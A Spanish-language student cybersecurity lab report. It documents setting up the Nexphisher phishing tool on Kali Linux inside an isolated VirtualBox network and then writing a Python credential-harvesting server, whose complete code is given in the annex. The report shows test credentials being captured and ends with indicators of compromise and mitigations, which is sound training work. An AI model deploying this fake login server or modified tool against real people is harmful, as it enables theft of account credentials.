

Martin Dalla Pozza

INFORME COMPLETO DEL TRABAJO PRÁCTICO:

ANÁLISIS DE SERVIDOR ROGUE HTTP CON FINES EDUCATIVOS

1. INTRODUCCIÓN Y OBJETIVOS

1.1 Contexto:

Este trabajo práctico se realizó como parte de la formación en Ciberseguridad, con el objetivo de comprender los mecanismos de ataque mediante servicios rogue HTTP en un entorno controlado de laboratorio.

1.2 Objetivos Específicos:

Instalar y configurar Nexphisher, una herramienta de phishing avanzada

Crear un servicio HTTP rogue accesible desde la red interna

Capturar credenciales de prueba mediante una página falsa

Analizar medidas de mitigación y concienciación

1.3 Consideraciones Éticas:

Todo el ejercicio se ejecutó en una red aislada de laboratorio

Se utilizaron credenciales de prueba generadas específicamente

El propósito es exclusivamente educativo para fortalecer defensas

2. Entorno Técnico:

Especificaciones

Kali Linux 2024.1: Sistema atacante con herramientas de pentesting

Windows Server 2019: Máquina víctima para simulación

Conexión de red: Modo "Red Interna" en VirtualBox para aislamiento

```

(kali㉿kali)-[~]
$ sudo su
(root㉿kali)-[/home/kali]
# cd nexphisher

(root㉿kali)-[/home/kali/nexphisher]
# chmod +X setup

(root㉿kali)-[/home/kali/nexphisher]
# chmod +X nexphisher

(root㉿kali)-[/home/kali/nexphisher]
# █

```

NEXPHISHER [V 1.0]

Advanced Phishing Tool with 30+ Templates [BY : HTR-TECH]

[~] Installing Packages

```

Leyendo lista de paquetes... Hecho
Creando árbol de dependencias... Hecho
Leyendo la información del estado... Hecho
Resolviendo dependencias... Hecho
Los paquetes indicados a continuación se instalaron de forma automática y ya no son necesarios:
  bloodhound.py curlftpfs libaudio2 libavfilter10 libavformat61 libconfig-inifiles-perl libfuse2t64 libgav1-1
  libjpegutils-2.1-0t64 libmpeg2encpp-2.1-0t64 libmpeg2-2.1-0t64 libmupdf25.1 libpocketsphinx3 libpostproc58
  libsphinxbase3t64 libswscale8 libvdpau-va-gl1 linux-image-6.16.8+kali-amd64 mesa-vdpau-drivers pocketsphinx-en-us
  python3-aiocache python3-aiomcache python3-fs python3-wapiti-arsenic python3-yaswfp ruby-unf-ext vdpau-driver-all
Utilice «sudo apt autoremove» para eliminarlos.
Se instalarán los siguientes paquetes NUEVOS:
  ssh

```

```

Leyendo lista de paquetes... Hecho
Creando árbol de dependencias... Hecho
Leyendo la información del estado... Hecho
openssh-server ya está en su versión más reciente (1:10.2p1-3).
fijado openssh-server como instalado manualmente.
Resolviendo dependencias... Hecho
Los paquetes indicados a continuación se instalaron de forma automática y ya no son necesarios:
  bloodhound.py curlftpfs libaudio2 libavfilter10 libavformat61 libconfig-inifiles-perl libfuse2t64 libgav1-1
  libjpegutils-2.1-0t64 libmpeg2encpp-2.1-0t64 libmpeg2-2.1-0t64 libmupdf25.1 libpocketsphinx3 libpostproc58
  libsphinxbase3t64 libswscale8 libvdpau-va-gl1 linux-image-6.16.8+kali-amd64 mesa-vdpau-drivers pocketsphinx-en-us
  python3-aiocache python3-aiomcache python3-fs python3-wapiti-arsenic python3-yaswfp ruby-unf-ext vdpau-driver-all
Utilice «sudo apt autoremove» para eliminarlos.
0 actualizados, 0 nuevos se instalarán, 0 para eliminar y 13 no actualizados.

```

[~] Setting Up Environment

```

mv: no se puede efectuar 'stat' sobre 'loclx': No existe el fichero o el directorio
chmod: no se puede acceder a '.htr/loclx': No existe el fichero o el directorio

```

[~] Installation Completed !!

[~] Type bash nexphisher to run NEXPHISHER !!

```

(root㉿kali)-[/home/kali/nexphisher]
# █

```

NEXPHISH[er]

[V 1.0]

Advanced Phishing Tool with 30+ Templates [BY : HTR-TECH]

[::] Select Any Attack for Your Victim [::]

[01] Facebook	[11] Twitch	[21] DeviantArt	[99] About
[02] Instagram	[12] Pinterest	[22] Badoo	[00] Exit
[03] Google	[13] Snapchat	[23] Origin	
[04] Microsoft	[14] LinkedIn	[24] CryptoCoin	
[05] Netflix	[15] Ebay	[25] Yahoo	
[06] Paypal	[16] Dropbox	[26] Wordpress	
[07] Steam	[17] Protonmail	[27] Yandex	
[08] Twitter	[18] Spotify	[28] Stackoverflow	
[09] Playstation	[19] Reddit	[29] Vk	
[10] Github	[20] Adobe	[30] XBOX	

[~] Select an option: 01

Advanced Phishing Tool with 30+ Templates [BY : HTR-TECH]

[::] Select Any Attack for Your Victim [::]

[01] Facebook	[11] Twitch	[21] DeviantArt	[99] About
[02] Instagram	[12] Pinterest	[22] Badoo	[00] Exit
[03] Google	[13] Snapchat	[23] Origin	
[04] Microsoft	[14] LinkedIn	[24] CryptoCoin	
[05] Netflix	[15] Ebay	[25] Yahoo	
[06] Paypal	[16] Dropbox	[26] Wordpress	
[07] Steam	[17] Protonmail	[27] Yandex	
[08] Twitter	[18] Spotify	[28] Stackoverflow	
[09] Playstation	[19] Reddit	[29] Vk	
[10] Github	[20] Adobe	[30] XBOX	

[~] Select an option: 01

[01] Traditional Login Page
[02] Advanced Voting Poll Login Page
[03] Fake Security Login Page
[04] Facebook Messenger Login Page

[~] Select an option: 01

NEXPHISHER

[V 1.0]

Advanced Phishing Tool with 30+ Templates

[BY : <https://github.com/htr-tech>]

[01] LocalHost
[02] Ngrok
[03] Serveo [Currently Down]
[04] LocalXpose
[05] LocalHostRun

[~] Select a Port Forwarding option: 01

Advanced Phishing Tool with 30+ Templates

[BY : <https://github.com/htr-tech>]

[~] Successfully Hosted at : <http://127.0.0.1:5555>

[~] Waiting for Login Info, Ctrl + C to exit.

^C

CTRL + C Pressed !!

Thanks for Using This Tool !! Visit <https://github.com/htr-tech> for more

```
(root@kali)-[/home/kali/nexphisher]
# grep -r "127.0.0.1" . --include="*.php" --include="*.sh" --include="*.py"

(root@kali)-[/home/kali/nexphisher]
# grep -r "localhost" . --include="*.php" --include="*.sh" --include="*.py"

(root@kali)-[/home/kali/nexphisher]
# nano nexphisher
```

```
}

start_localhost() {

printf "\e[0m\n"
printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Initializing ... \e[0m\e[1;92m( \e[0m\e[1;96mhttp://>
cd .htr/www && php -S 127.0.0.1:5555 > /dev/null 2>&1 &
sleep 2
smallbanner
printf "\e[0m\n"
printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Successfully Hosted at : \e[0m\e[1;93m http://127.0>

datafound

}
```

```
(kali@kali)-[~]
$ cd ~/nexphisher

(kali@kali)-[~/nexphisher]
$ find . -name "index.html" -o -name "login.php" | head -5
./.Modules/github/login.php
./.Modules/deviantart/login.php
./.Modules/spotify/login.php
./.Modules/fb_messenger/login.php
./.Modules/yandex/login.php

(kali@kali)-[~/nexphisher]
$ cd .htr/www
```

```
python3 simple_phish.py
[+] Servidor phishing iniciado en: http://192.168.1.2:8888
[+] Esperando víctimas... (Ctrl+C para detener)
192.168.1.4 - - [05/Feb/2026 19:43:45] "GET / HTTP/1.1" 200 -

=====

[+] CREDENCIALES CAPTURADAS!
[+] Email: alumno@escuela.edu
[+] Password: Password123
[+] Guardado en: /tmp/credenciales.txt

=====

192.168.1.4 - - [05/Feb/2026 19:48:04] "POST / HTTP/1.1" 302 -
```

```
192.168.1.4 - - [05/Feb/2026 19:48:04] "POST / HTTP/1.1" 302 -
^CTraceback (most recent call last):
  File "/tmp/simple_phish.py", line 60, in <module>
    httpd.serve_forever()
    ~~~~~^
  File "/usr/lib/python3.13/socketserver.py", line 235, in serve_forever
    ready = selector.select(poll_interval)
  File "/usr/lib/python3.13/selectors.py", line 398, in select
    fd_event_list = self._selector.poll(timeout)
KeyboardInterrupt

(kali㉿kali)-[/tmp]
$ cat /tmp/credenciales.txt
alumno@escuela.edu:Password123
```

3. PROCEDIMIENTO EXPERIMENTAL

FASE 1: INSTALACIÓN DE NEXPHISHER

Como usuario root para evitar problemas de permisos

```
sudo su
cd nexphisher
chmod +x setup
chmod +x nexphisher
bash setup
```

FASE 2: CONFIGURACIÓN DEL ATAQUE

Al ejecutar `bash nexphisher`, se presentaron los menús:

Selecciones realizadas:

Plantilla: 01 (Facebook)

Tipo de página: 01 (Traditional Login Page)

Método de hosting: 01 (LocalHost)

Resultado inicial: El servidor se inició en `http://127.0.0.1:5555`, siendo solo accesible localmente.

FASE 3: ANÁLISIS Y MODIFICACIÓN DEL CÓDIGO

Se identificó que Nexphisher estaba configurado para escuchar solo en localhost:

```
# Línea encontrada en el archivo 'nexphisher'
cd .htr/www && php -S 127.0.0.1:5555 > /dev/null 2>&1 &
```

Modificación realizada:

Se cambió 127.0.0.1 por 192.168.1.2

Se cambió el puerto 5555 por 8080

La línea modificada quedó: `cd .htr/www && php -S 192.168.1.2:8080 > /dev/null 2>&1 &`

FASE 4: PROBLEMAS ENCONTRADOS

A pesar de la modificación, al intentar acceder desde Windows Server se generó error HTTP 500 debido a:

Permisos insuficientes: PHP no podía escribir en `ip.txt`

Configuraciones persistentes: Otras variables mantenían 127.0.0.1

Errores en la lógica PHP: Problemas con `fwrite()` en recursos no válidos

FASE 5: SOLUCIÓN ALTERNATIVA :

```
# simple_phish.py - Servidor educativo
# Funcionalidades:
# 1. Sirve formulario de phishing simple
# 2. Captura credenciales por POST
# 3. Registra en archivo y terminal
# 4. Redirige a sitio legítimo
```

Ejecución exitosa:

python3 simple_phish.py

[+] Servidor phishing iniciado en: <http://192.168.1.2:8888>

FASE 6: SIMULACIÓN Y RESULTADOS

Acción desde Windows Server:

URL: <http://192.168.1.2:8888>

Credenciales ingresadas: alumno@escuela.edu / Password123

Resultados en Kali:

[+] CREDENCIALES CAPTURADAS!

[+] Email: alumno@escuela.edu

[+] Password: Password123

[+] Guardado en: /tmp/credenciales.txt

Verificación:

cat /tmp/credenciales.txt

alumno@escuela.edu:Password123

4. ANÁLISIS TÉCNICO:

4.1 Arquitectura del Ataque Phishing

Usuario → Página falsa → Captura de datos → Redirección legítima

↓	↓	↓	↓
<i>Navegador</i>	<i>HTML/CSS</i>	<i>Script PHP</i>	<i>Facebook.com</i>
<i>(Formulario)</i>	<i>(Procesamiento)</i>		<i>(Sitio real)</i>

4.2 Indicadores de Compromiso (IOCs)

URL anómala: <http://192.168.1.2:8888> (no HTTPS, IP directa)

Formulario POST a IP local: Patrón sospechoso

Redirección inmediata: Comportamiento atípico de login

4.3 Vulnerabilidades Explotadas:

Falta de verificación de URL: Usuario no verifica autenticidad

Ausencia de HTTPS: Conexión no cifrada

Interfaz visual idéntica: Engaño por similitud gráfica

5. Medidas de Mitigacion:

5.1 Para Usuarios Finales

Verificación de URL: Siempre comprobar el dominio completo

HTTPS obligatorio: Nunca ingresar datos en sitios HTTP

Marcadores de confianza: Usar favoritos en lugar de enlaces

Autenticación 2FA: Habilitar en todas las cuentas importantes

5.2 Para Administradores de Red:

Reglas de firewall para bloquear servicios no autorizados

```
sudo iptables -A INPUT -p tcp --dport 8080 -j DROP
```

```
sudo iptables -A OUTPUT -p tcp --dport 8080 -j DROP
```

Filtrado DNS empresarial

Bloquear resoluciones a IPs internas para servicios web

6. Conclusiones y Aprendizajes

6.1 Conclusiones Técnicas

Facilidad de implementación: Un ataque phishing básico puede desplegarse en menos de 10 minutos

Efectividad del engaño: Páginas simples pueden ser igual de efectivas que complejas

Importancia de la configuración: Errores técnicos pueden delatar el ataque

Redirección como técnica: Mejora la persistencia del engaño

6.2 Aprendizajes para la Defensa

Educación continua: La capacitación es la primera línea de defensa

Monitoreo proactivo: Detectar servicios no autorizados en la red

Defensa en profundidad: Múltiples capas de seguridad

Respuesta a incidentes: Protocolos claros para reportar phishing

6.3 Reflexión Ética

Este ejercicio refuerza que:

El conocimiento ofensivo es fundamental para defensas efectivas

Las herramientas de hacking deben usarse solo en entornos autorizados

La concienciación es el factor humano más crítico en seguridad

7. Recomendaciones:

7.1 Para Instituciones Educativas

Incluir ejercicios prácticos controlados en el currículo

Fomentar laboratorios aislados para prácticas éticas

Desarrollar competencias tanto ofensivas como defensivas

8. ANEXOS TÉCNICOS

8.1 Script Python Completo

```
python
import http.server
import socketserver
from urllib.parse import parse_qs

PORT = 8888

class PhishingHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/':
            # Servir formulario de phishing
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            html = "<html>...formulario...</html>"
            self.wfile.write(html.encode())

    def do_POST(self):
        # Capturar y registrar credenciales
        length = int(self.headers['Content-Length'])
        data = self.rfile.read(length).decode()
        params = parse_qs(data)

        email = params.get('email', [''])[0]
        password = params.get('pass', [''])[0]

        if email and password:
```

```
print(f"\n{'='*50}")
print("[+] CREDENCIALES CAPTURADAS!")
print(f"[+] Email: {email}")
print(f"[+] Password: {password}")
print(f"\n{'='*50}")
```

```
with open('/tmp/credenciales.txt', 'a') as f:
    f.write(f"{email}:{password}\n")
```

```
# Redirigir a sitio legítimo
self.send_response(302)
self.send_header('Location', 'https://facebook.com')
self.end_headers()
```

```
# Iniciar servidor
with socketserver.TCPServer(("0.0.0.0", PORT), PhishingHandler) as httpd:
    print(f"[+] Servidor en: http://192.168.1.2:{PORT}")
    httpd.serve_forever()
```

8.2 Comandos de Verificación:

```
# Verificar servicios activos
netstat -tulpn | grep :8888
```

```
# Verificar conectividad
ping 192.168.1.4
```

```
# Analizar logs
tail -f /tmp/credenciales.txt
```

9. GLOSARIO

Servicio Rogue: Servicio no autorizado que simula uno legítimo

Phishing: Técnica de ingeniería social para robar credenciales

Red Interna: Red aislada para prácticas de laboratorio

IOC (Indicador de Compromiso): Evidencia de actividad maliciosa

Este informe documenta exhaustivamente el proceso, resultados y aprendizajes del trabajo práctico, proporcionando una base sólida para la evaluación y futuras investigaciones en el ámbito de la ciberseguridad.